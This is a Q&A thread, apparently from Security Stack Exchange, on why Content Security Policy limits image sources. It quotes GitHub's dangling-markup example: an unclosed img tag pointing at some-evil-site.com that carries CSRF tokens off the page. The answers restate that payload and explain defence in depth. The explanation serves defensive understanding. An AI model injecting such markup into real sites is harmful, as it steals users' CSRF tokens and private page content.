GitHub explains the problem with img-src in "GitHub's post-CSP journey":

A tag with an unclosed quote will capture all output up to the next matching quote. This could include security sensitive content on the pages such as:

<img src='https://some-evil-site.com/log_csrf?html= <form action="https://github.com/account/public_keys/19023812091023"> ... <input type="hidden" name="csrf_token" value="some_csrf_token_value"> </form>

The resulting image element will send a request to https://some_evilsite.com/log_csrf?html=...some_csrf_token_value.... As a result, an attacker can leverage this dangling markup attack to exfiltrate CSRF tokens to a site of their choosing.

How does this differ from pressing page-source on the page and sending the content manually? If it is just for pages where users can insert input, don't we have to prevent only those issues with inputs by adding validations to the input? Not prevent img src of other sources in all the code?

  • 13
    From your question it sounds like you're just getting started with cross-site scripting. The document you've read is a very advanced document, covering the most cutting-edge attacks and defences. I suggest you start with some easier documents first, perhaps some of OWASP's XSS info.
    – paj28
    Jan 26, 2017 at 9:32
  • @paj28 Right, I really don't have so much knowledge in that area. If you had some good links, it will be helpful. Jan 26, 2017 at 12:21
  • 2
    Start here: OWASP: Cross-site scripting. I'd also encourage you to download a vulnerable web app like DVWA and try performing an XSS attack.
    – paj28
    Jan 26, 2017 at 13:08

2 Answers 2


Just to be clear about how the attack works:

  • A site allows you to enter text that is later displayed somewhere. It does not properly filter out HTML.
  • Mallory enters <img src='https://some-evil-site.com/log_csrf?html=, and sends a link to the page to Alice.
  • Alice views the page, and the rest of the page with Alice's secret content is sent to some-evil-site.com that Mallory controls.

How does it differ from pressing page-source on the page and sending the content manually.

You view the source on your computer, generated with your credentials, so it does not contain anything that is secret from you. The point of the attack discussed in the blog post is to "steal" the source from someone else (by injecting HTML) so you can read their secrets.

If it is just for pages where users can insert input, don't we have to prevent only those issues on inputs by adding validations to the input?

Yes, we need to do that even if we implement a CSP. But humans are fallible creatures and we might make mistakes. Having a CSP that stops this kind of attack might therefore be good as defence in depth.

Not prevent img src of other sources in all the code?

If you don't want to allow images from arbitrary domains anyway it might be good to whitelist the domains you do want to allow images from and block everything else. Again, you should have other kinds of protections against this, but it never hurts to have a backup.


If a user presses "View Source" and sends data manually, that's their choice, and nothing the site does will prevent it. However, CSP configurations are generally part of a defense in depth strategy - they prevent bad things happening, even if something goes wrong.

In this case, they will be attempting to eliminate any input validation errors, but it's really easy to make a mistake or miss an edge case, especially where you want to allow user content. If that works, the CSP rules will never kick in. If they make a mistake, though, then the CSP restrictions start to apply.

This specific rule is aiming to prevent a malicious user from being able to include content which can exfiltrate data on a page viewed by a legitimate user. In other words, if they can put a tag on a page viewed by others, they'd be able to get user specific CSRF tokens, session tokens or personal details. With the CSP rule in place, though, the legitimate user's browser knows that only the specified domains should be used for images, and won't even try load them from any other domain.

It's a bit like having an alarm in your house, even when you lock the doors and windows. If the locks are perfect, you should never need it, but sometimes people make a mistake and forget to lock a window when going out, in which case, the alarm helps minimise the damage.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .